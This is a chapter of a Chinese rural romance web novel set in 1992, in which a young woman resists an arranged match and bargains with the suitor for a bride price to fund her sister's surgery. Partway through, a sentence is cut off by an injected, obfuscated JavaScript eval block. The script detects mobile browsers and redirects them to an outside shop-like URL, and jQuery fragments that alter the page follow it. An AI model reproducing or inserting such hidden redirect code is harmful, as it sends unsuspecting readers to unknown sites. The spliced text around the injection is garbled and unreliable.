一九九二年，秋。
太阳高悬，窦清赶完集，坐在返程的四轮车斗上吸溜冰棍，几个脸生的婶子坐车斗上闲聊。
“……说亲……”
“小石头村……窦家……”
窦清凑过去，也不怕生，甜甜地笑：“婶子，你们说什么呢？小石头村窦家咋了？”
挨着她的胖妇人笑呵呵地：“你是小石头村的？小姑娘长得可真俊，我们村有一户人家可有钱了，去你们村一个姓窦的人家讨媳妇去了，你知道不？诶，你多大啦，有对象没？”
窦清摇着头往后躲了躲。
去窦家讨媳妇儿？他们村就她家一家姓窦，她姐离婚带着外甥在镇上呢，那他们讨的……难道是她！
她刚十九，才不要这么快给别人当媳妇儿呢！
把最后一口冰棍撸嘴里，窦清气呼呼坐在一边。四轮车刚到村口就跳下去，背着兜子往家里跑。一进家门，果然，屋里一箱箱水果、糕点，爸妈都在客厅坐着，一看见她止住话头，眼神躲躲闪闪。
问都多余问了，爸妈明显是心虚。
“爸，什么意思？你给我找对象了？”窦清秀气的小眉毛紧紧皱着。
窦国富看了看她欲言又止，邢淑华过来取下她背上布兜，转移话题：“幺儿累了吧？正好娘给你开个西瓜。”
“妈！”窦清拉住邢淑华的胳膊，气呼呼地说：“你们是不是要给我找对象？我不结婚！我不要嫁人！”
她才这么小，还不想结婚呢！结婚万一像二姐似的，天天去地里干活不说，姐夫对她还不好，最后闹到离婚连孩子都不管可怎么办？
“我不结婚我不结婚……！”窦清红着眼睛要哭出来了。
“胡闹！”窦国富大喝一声瞪眼道：“那个姑娘大了不结婚的？！爹娘还能养你一辈子？！”
窦清没被唬住，嘴巴一撇眼泪直飞，跺脚和他对着干：“你就是想拿我换钱！你就是想把我卖了换钱是不是？！你这是卖女儿！！”
她出落得水灵，赶个集都有一群群骑摩托车的年轻小伙儿想载她回家，生气斗嘴的样子也不会让人讨厌。
窦国富对她生不出气，但瞥见往自家院里张望小媳妇儿们，心里憋闷，抬腿用鞋尖点了下窦清的屁股。
窦清直接坐在地上，睁着圆溜溜的眼睛不可置信地看着窦国富。
她……她爸竟然跟她动手！
窦国富表情一怔，他哪儿使劲儿了！
“哎——”邢淑华心疼坏了，赶紧推开窦国富，一脸心疼把窦清抱起来。
“疼不疼啊幺儿……哎呦……你说你和孩子动什么手。”
窦清紧紧闭着嘴眼睛憋得通红，直勾勾瞪窦国富，小巧的鼻子通红，鼓动着。
窦国富看着这不讲理的娘俩，叹了口气：“幺儿……就属你命最好，爹娘、还有你奶奶哥哥姐姐都最疼你了，从小到大你吃过啥苦啊！你姐可是一手把你带大的，你要不管她吗？”
一说这个，窦清刚压下去的眼泪立马冒出来，嚷着：“哥对我一点都不好！为啥你不去找哥要钱去！家里的钱、地都给哥了！你咋不说给姐留点儿给我留点儿！姐要钱用，你不找哥要你要把我卖了！”
想着一早姐姐说的，又指着院里的老牛，“你咋不把牛卖了！姐说把老牛卖了就够了！你还养着它们干啥！你就是想把我卖了把钱给大哥买房子！姐都和我说了！”
“老牛你留着干啥！你就想留给哥是不是！”
还说什么最宠着她，要不是多少年前爸就把地都给大哥了，她也得像二姐似的早早下地干活。
炮仗似的一串话呛得窦国富张不开嘴，气得好半天才指着窦清鼻子说：“你别管我给谁留着！你想想你姐怎么对你的！你要看着她去死吗？！”
“那你为啥不管？！！”窦清委屈得跳脚，眼泪刷刷地往外甩，“你不是我们爸爸吗？！你为啥啥都要给大哥留着！你把老牛卖了就能给姐治病，你为啥非得让我结婚！我不想结婚呜呜呜呜……！”
见她哭得这么伤心，邢淑华也抹起了眼泪，“幺儿……你侄子要上高中，爹娘不得攒点钱给你哥，家里哪儿有钱给你姐……”
“啊呜呜呜呜——”窦清像是含了一大口水，捂着嘴哭得喘不上来气。
“你听话嗷，有两扇排骨，娘晚上给你炖了……”
窦清一把推开他妈，跑进小屋里狠狠甩上门，趴在床上哭个不停。
偏心！真偏心！
窦清一点都不想嫁给不认识的人，又委屈又难受，恨得直锤床，气爸妈偏心，又可怜她姐。
她姐，是他们家最苦的了，大哥念书的时候，她跟着爸妈干活、带她。大哥不念书了，姐春秋跟着家里种地，夏天冬天去镇上打工，挣的钱都给大哥拿去娶嫂子。后来嫂子生了侄子，要坐月子养身体，姐就被爸妈随便指了个人结婚……
窦清躲在屋里好几天，一墙之外，天天有人进她家门说她的婚事。
18号，红桥镇大集，村上通车，窦清穿着小花裙，头也不回地走出家，上客车。
“小窦儿还赶集啊！”
窦清噘着嘴在小口袋里掏钢镚，“不，我要去磨石村，多少钱？叔。”
“去磨石村干啥啊？就一脚油门儿的事儿拿啥钱，坐后面去。”光头男人往后指了指。
“嗳，谢谢叔。”窦清坐好，认真地捋衣服上的褶儿。
从小石头村到磨石村坐客车就七八分钟，窦清用手指沾了一层蛤蜊油往嘴上抹，刚抹完，就到磨石村了。
下车正好遇到上次在四轮车碰见的那个胖婶子，于是拉着她手问：“婶子，您还记得我不？上次赶集咱们一起坐四轮车来着，我想问问你们村那天去我家提亲那个人，他家在哪儿？”
胖婶子吃惊地哎呦一下，反应极快，指着北面这片比人高的玉米，“我刚看见他家那小子来地了，你从这儿把头走，第十四颗树开始，那就是他家地，他高个，你准儿能瞅见他。”
窦清收回目光，从兜里掏出几
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096353|195623||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个果给她，“谢谢婶子了！”
她按着胖婶子的话数树走，磨石村是个大村，地多还整，听说这儿家家都一大块儿地，路上石头凹凸不平，她鞋薄，硌得脚底生疼。
可算数到第十三颗树，远远瞅见第十四棵树下坐着一个人，深吸一口气，攥着拳头走过去。
走近，果然看见一个二十多岁的男人坐在地上，确实是个挺高的人，一腿支着架着胳膊，一腿伸得老长，都快到道儿上了。
长得还行，挺周正英俊的，就是看着脏兮兮的，迷彩裤上全是土。
男人抬起头，窦清看他一眼，鼓起勇气朝他走近，“那个……我是小石头村的窦清，你是不是去我家说亲来着？”
男人直勾勾瞅着她，窦清不好意思，垂头看自己脚尖，“我跟你说，我不会和你结婚的！”说完心虚地偷偷看一眼男人，男人神情平淡，还瞅着她，半天没有反应。
他、他怎么一句话都不说！她还想来谈条件呢，他一句话不说，她怎么往下说啊！
窦清咬了咬嘴唇，只好自己往下说：“除非……”
一想到要说的，她心里堵塞，轻轻喘两声，眼睛又红了。
男人抬头，见她油润的红唇一颤一颤的，搁在大腿上的手指轻轻动了动，嗓子一沉问：“除非什么？”
窦清眨了下眼睛，一滴泪倏地落下来，转纵即逝，声音浸过水一般“除非你把彩礼钱给我，不然我不和你结婚。”
“你要多少彩礼？”男人一点都不马虎。
“五、五千。”窦清头垂得更低，她姐动手术得两千多，她还想给姐姐留点……
“但我……不一定有嫁妆。”背着她爸把彩礼钱要过来，不给她爸气死就不错了，不敢指望她爸还能给她出嫁妆。
说完，窦清很不好意思地垂下头，一开口要那么多钱还没有嫁妆，他肯定觉得自己疯了。
半天听不见男人说话，窦清有些懊悔，早知道少说点好了，要是把他气走了可怎么办？
“要、要不——”“行，什么时候给你？”
窦清一愣，惊讶地看向他：“行……？”
“嗯。”男人站起来，黑沉沉的影子一下就把窦清的小身板罩住，这下窦清不得不仰头瞅着他。
“什么时候给你？”
和一个陌生的男人讨论自己的婚事，窦清害臊极了，往后退了退远离高大的男人，结结巴巴道：“越快越好……”
早点拿到钱，给姐姐送过去，省得落到她爸手里。
“明天就能给你，那你什么时候能和我结婚？”
什么时候？窦清转着眼睛算了算，“要是你明天给我，那……你得月末，29号才能去我家和我爸说结婚的事。”
28号村里才通车能去镇上送钱，怎么说他都得29号来提婚事才行。
“这么晚？”
听到男人不满，她连忙说：“我、我得去镇上存钱。”
“这个月内咱俩就结婚，明天我带你去镇上。”